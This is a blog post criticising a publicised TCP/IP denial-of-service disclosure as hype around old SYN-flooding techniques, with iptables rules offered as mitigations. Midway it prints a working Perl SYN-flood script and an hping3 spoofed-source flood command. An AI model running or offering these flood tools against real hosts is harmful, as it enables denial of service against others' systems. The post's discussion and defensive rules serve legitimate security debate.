crazylazy.info

txtWithout trying to sound disrespectful, or notorious. But I stop caring about mystified press disclosures, born to enlarge the fear factor (that's what press does!). I want information, because I'm a scientist: I don't make security problems being movie trailers or super complex. I research, I find, I disclosure. And I patch. Latter, if I can't do it alone, is a good piece of work for an open expert's circle.

We're talking about openness and free information. Most knowledge we've got in IT security, when we started, is free and ever was. Don't make this change! That's the worst what could happen to us. Because the future is huge, and we're just making first steps on a really long path, that'll define all people's life for centuries.

SYN flooding

SYN - flooding, in non scientific circles is called "Mass Connection". Sending many SYN packets, and no ACK. Here RUMINT shows that happening.

One host, capable of using TCP via IP can fake establishing an unlimited number of connections by faking the Source IP.



There's nothing, especially in the latest "ethical disclosure" from Robert Lee and Jack Louis, that recently went public. They claim to have discovered a new and devastating DoS vulnerability in the core TCP/IP protocol stack used for almost all Internet communication. They refuse to release details. But they broke an RFC and outsmarted it.

- Sounds strangely to me. In fact that stuff I drew above here is old, published years ago as it seems. Making noise nowadays about that is completely made to fool the mass: that's what I think for now.
But I don't want anyone to take this personal. We in IT say things like they are. If I'm talking shit, I don't cry if someone tells me, too.

The difference between Dan's DNS disclosure, which people might associate with this one is: Dan's effort was to _patch_ and to wake up people, which never would have reacted otherwise. It was a server sided protocol issue for mostly ISPs to care about.
Patching TCP/IP now? - Because of this "beginner-disclosure" - won't happen because there's a fundamental difference here:

The researchers claim that they have been able to take down every system with a TCP/IP stack that they have attempted; and they know of no fix or workaround.

(Source: /.)

While listening to the linked podcast, which is on Darkreading, too I got information:

1. They don't have a fix? Dan had this! But he's a genius. So please stop comparing this. It's completely different.
2. It's not a SYN flood attack?? But about SYN Cookies. ???
3. It's about not resetting connections - means no timeouts. A mass connection attempt with IP spoofing and SYN? So flooding with spoofing I guess. Old.
4. djb's SYN Cookies are not helpful, because even without a 3way handshake the DoS can be performed ("reversed SYN cookies"). It can even be abused when the resources are limited. But well... I don't need to allow an unlimited number of connections!
5. It's about making TCP services unavailable, but not only?
6. It's about alternating kernel-times for the SYN Cookie implementation, based on alternating stack resources. When they exhaust, they can cause problems...
7. A low bandwidth attack, when it comes through the 3way handshake, and possibly without it.
8. So a TCP service listening is considered being a danger??? WTF? Mad?
9. There're Windows problems... well I guess there's more than one Windows, but let's wait for details.
10. A httpd gets offline in seconds. Try mine! If it goes down, please comment. And let me dump the traffic, too. (crazylazy.info) PLEASE! I would love to reconstruct it. :) Visually for everyone to understand.
11. Client side SYN cookies aren't the attack? Okay...
12. I'm not convinced!

Is this a fix?


#Create syn-flood chain for detecting Denial of Service attacks
iptables -t nat -N syn-flood

#Limit 42 connections per second (burst to 84)

iptables -t nat -A syn-flood -m limit—limit 42/s—limit-burst 84 -j RETURN iptables -t nat -A syn-flood -j DROP

#Check for DoS attack
iptables -t nat -A PREROUTING -i $EXT_IFACE -d $DEST_IP -p tcp—syn -j syn-flood


Let's test a normal SYN flood, using some darker tools, or that one here:


#!/usr/bin/perl
# Simple POC SYN Flooder
# Requires perl, Net::RawIP module, and root privileges
use Net::RawIP;
if($#ARGV == 2) {
($src,$dst,$port) = @ARGV;
$a = new Net::RawIP;
while(1) {
$src_port = rand(65534)+1;
$a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
$a->send;
}
} else {
print "./synflooder source_ip destination_ip destination_port\n";
}


Alternatively:


sudo hping3 -S -I en1 --rand-source -S 192.168.1.195 -p 66 -i u1000


For this it is a fix.

Just being trendy like Dan - or is this advertisement for the conference?

There are ambiguities in implementations of the TCP/IP suite for various operating systems. Even if this fact has been used since a long time in different software for OS fingerprinting, no real attempt has been made to identify the security impact of the differences in the TCP/IP semantics.
In TCP there's an "Open Socket Limit" for processes, listening on the TCP stack. There's a limit for the maximum number of processes set in OS kernel, too. When problems in TCP/IP semantics get abused, and meet resource problems on the target, this can get nasty:

Like Robert and Jack, I was stunned at how effective these techniques are at quickly taking down services. The basic attack starved web servers from servicing legitimate requests, and slightly more complex variants would sometimes take down the remote OS entirely.

(Source: Fyodor's reaction)

I think everybody in security field knows about DoS and bogus flag combinations. That's old stuff from the last millennium.

Example workaround for bogus flags


iptables -A INPUT -p tcp -d HOST/MASK --tcp-flags SYN,FIN SYN,FIN -j LOG -m limit --limit 10/m --log-level "LOGLEVEL" --log-prefix="bogus packet"

$IP -A INPUT -p tcp -d HOST/MASK --tcp-flags SYN,FIN SYN,FIN -j DROP


So guys: get some balls and reveal your stuff. I've never seen the security circus being so childish since 2003/2004 when Nimda and Sasser broke Redmond's OS, which since ages is build on pure brainpower.
Exploiting the press's lack of knowledge doesn't make you being a security expert, even if you make people care about the "Bogus Flag" problem, SYN-flooding, IP spoofing, protocols and TCP/IP. Bringing stuff further, that's what is to do.

Developing it. And not hacking it into pieces in dark room like Tolkien's dwarfs. They thought these stupid Hobbits and Men, which know nothing, aren't able to care for their cool stuff they build in the darkness. They feared the ignorant other races would destroy their stuff. - And yes, the dwarfs woke up some evil creatures, daemons that nearly destroyed the world.
It's like that: things in darkness tend to be huge. Uncloaked and demystified they are not magical any more.

I don't see TCP/IP broken for now. If anyone does, there's absolutely no reason the make a great show. And especially when the researchers can't patch it, there are people who can. Just not sending RST, while SYN flooding and IP spoofing doesn't break my world ;).

NACK,
wishi